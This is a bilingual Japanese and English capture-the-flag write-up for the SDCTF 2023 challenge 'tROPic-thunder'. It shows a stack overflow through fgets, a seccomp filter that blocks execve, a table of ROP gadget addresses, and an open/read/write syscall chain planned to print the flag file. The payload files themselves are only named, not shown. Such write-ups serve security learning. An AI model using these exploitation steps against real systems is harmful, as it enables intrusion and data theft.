tROPic-thunder (250)

TCPサーバの接続情報と、ファイル Dockerfile および tROPic-thunder が与えられた。

GhidratROPic-thunder を逆コンパイルすると、以下の main 関数が出てきた。

Information for connection to a TCP server, and files Dockerfile and tROPic-thunder were given.

I decompiled the file tROPic-thunder using Ghidra. As a result, I found this function main.

main.txt

この関数は、関数 setup_seccomp() を呼び出した後、fgets 関数でデータを読み込んでいる。
setup_seccomp() 関数は、以下の内容であった。

This function calls a function setup_seccomp(), and then reads data using the function fgets.
This is the function setup_seccomp().

setup_seccomp.txt

このページ

Referring this page,

seccomp_rule_add(3) - Linux manual page

を参照すると、seccomp_rule_add の第3引数がシステムコールを、第2引数がそのシステムコールが使われた時のアクションを表すことがわかる。

このページ

We can know that the 3rd argument of seccomp_rule_add specifies a system call, and that the 2nd one specifies an action to take when the system call is used.

From this page,

Linux System Call Table for x86 64 · Ryan A. Chapman

より、システムコール 0x3b (59)sys_execve0x142 (322)stub_execveat であることがわかる。

さらに、このページ

We can know that a system call 0x3b (59) corresponds to sys_execve and that 0x142 (322) corresponds to stub_execveat.

Also, this page

libseccomp/seccomp.h.in at main · seccomp/libseccomp · GitHub

より、ここで指定されているアクション 0SCMP_ACT_KILL すなわち使用したスレッドが強制終了されることを表していることがわかる。
よって、execve を使わずにflagを得る方法を考えないといけなそうである。

まず、他の問題より、サーバプログラムのカレントディレクトリにファイル flag.txt があると予想した。
さらに、逆アセンブル結果およびバイナリエディタを用いて、ファイル tROPic-thunder から以下のgadgetを見つけた。

Tells us that the action 0, used here, corresponds to SCMP_ACT_KILL, which means that threads that called the system calls are terminated.
This suggests that we should come up with a way to obtain the flag without using execve.

Firstly, considering other challenges, I guessed that there should be a file flag.txt in the working directory of the server program.
Then, using the disassembled code and a binary editor, I found these gadgets from the file tROPic-thunder.

アドレス address バイナリ binary data 処理内容 what to do
0x45ed9a5e c3pop %rsi; ret
0x45b6675f c3pop %rdi; ret
0x45b0565a c3pop %rdx; ret
0x45899c58 c3pop %rax; ret
0x40347248 89 50 18 48 83 c4 08 c3mov %rdx,0x18(%rax); add $0x8,%rsp; ret
0x401ca748 83 c4 08 c3add $0x8,%rsp; ret
0x40968c48 89 c7 ff d2mov %rax,%rdi; callq *%rdx
0x4841050f 05 c3syscall; ret

また、.plt セクションの最初と最後は、以下のようになっていた。

Also, this is the first and last part of the section .plt.

0000000000400418 <.plt>: 400418: ff 25 fa 5b 2d 00 jmpq *0x2d5bfa(%rip) # 6d6018 <_GLOBAL_OFFSET_TABLE_+0x18> 40041e: 66 90 xchg %ax,%ax 400420: ff 25 fa 5b 2d 00 jmpq *0x2d5bfa(%rip) # 6d6020 <_GLOBAL_OFFSET_TABLE_+0x20> 400426: 66 90 xchg %ax,%ax ... 4004c0: ff 25 fa 5b 2d 00 jmpq *0x2d5bfa(%rip) # 6d60c0 <_GLOBAL_OFFSET_TABLE_+0xc0> 4004c6: 66 90 xchg %ax,%ax 4004c8: ff 25 fa 5b 2d 00 jmpq *0x2d5bfa(%rip) # 6d60c8 <_GLOBAL_OFFSET_TABLE_+0xc8> 4004ce: 66 90 xchg %ax,%ax

ここで参照されている 0x6d6018 から 0x6d60d0 までの領域は書き込みが可能で、かつそれぞれの8バイトのうち最上位の1バイトには 0x00 が格納されていると予想した。

さらに、main 関数の逆アセンブル結果は、以下のようになっていた。

I guessed that the region from 0x6d6018 to 0x6d60d0, referred from here, can be written, and that the highest bytes of each 8 bytes are 0x00.

Moreover, this is the disassembled code of the function main.

0000000000400bf2 <main>: 400bf2: 55 push %rbp 400bf3: 48 89 e5 mov %rsp,%rbp 400bf6: 48 83 ec 70 sub $0x70,%rsp 400bfa: 48 8b 05 e7 5b 2d 00 mov 0x2d5be7(%rip),%rax # 6d67e8 <_IO_stdin> 400c01: be 00 00 00 00 mov $0x0,%esi 400c06: 48 89 c7 mov %rax,%rdi 400c09: e8 f2 09 02 00 callq 421600 <setbuf> 400c0e: 48 8b 05 cb 5b 2d 00 mov 0x2d5bcb(%rip),%rax # 6d67e0 <_IO_stdout> 400c15: be 00 00 00 00 mov $0x0,%esi 400c1a: 48 89 c7 mov %rax,%rdi 400c1d: e8 de 09 02 00 callq 421600 <setbuf> 400c22: 48 8b 05 af 5b 2d 00 mov 0x2d5baf(%rip),%rax # 6d67d8 <_IO_stderr> 400c29: be 00 00 00 00 mov $0x0,%esi 400c2e: 48 89 c7 mov %rax,%rdi 400c31: e8 ca 09 02 00 callq 421600 <setbuf> 400c36: b8 00 00 00 00 mov $0x0,%eax 400c3b: e8 2d ff ff ff callq 400b6d <setup_seccomp> 400c40: 48 8d 3d 61 0c 0a 00 lea 0xa0c61(%rip),%rdi # 4a18a8 <_IO_stdin_used+0x8> 400c47: e8 c4 ec 01 00 callq 41f910 <_IO_puts> 400c4c: 48 8b 15 95 5b 2d 00 mov 0x2d5b95(%rip),%rdx # 6d67e8 <_IO_stdin> 400c53: 48 8d 45 90 lea -0x70(%rbp),%rax 400c57: be 00 02 00 00 mov $0x200,%esi 400c5c: 48 89 c7 mov %rax,%rdi 400c5f: e8 9c e3 01 00 callq 41f000 <_IO_fgets> 400c64: b8 00 00 00 00 mov $0x0,%eax 400c69: c9 leaveq 400c6a: c3 retq 400c6b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)

fgets が読み込んだデータを書き込み始める位置は %rbp - 0x70 であり、リターンアドレスは %rbp + 8 にあるので、最初に実行させるアドレスはデータの 0x78 バイト目から書き込めばいいことがわかる。

見つけたgadgetを用い、ファイル file.txt の内容を標準出力に書き出す以下の処理を行うことにした。

The address for fgets to store data read is %rbp - 0x70 and one of the return address is %rbp + 8, so the first address to be executed should be written from the 0x78-th byte of the data.

Using the gadgets, I decided to perform these operations to output the contents of the file file.txt to the standard output.

buffer = 0x6d6018; buffer_size = 0x6d60d0 - 0x6d6018; fd = sys_open("flag.txt", O_RDONLY); sys_read(fd, buffer, buffer_size); sys_write(1, buffer, buffer_size); sys_exit(0);

以下が、これを実現するため実際に送る内容である。

This is what should actually be sent to achieve this.

payload.asm

NASM でアセンブルすると、以下のデータが得られた。

I assembled this with NASM. This is the result.

payload.bin

このデータを Tera Term の「ファイル送信」で送信すると、flagが得られた。

I obtained the flag by sending this data using "Send File" on Tera Term.

sdctf{I_w4tch3d_tR0p1c_7huNd3r_wh1l3_m4k1nG_7h1s_ch4al13ng3}

SDCTF 2023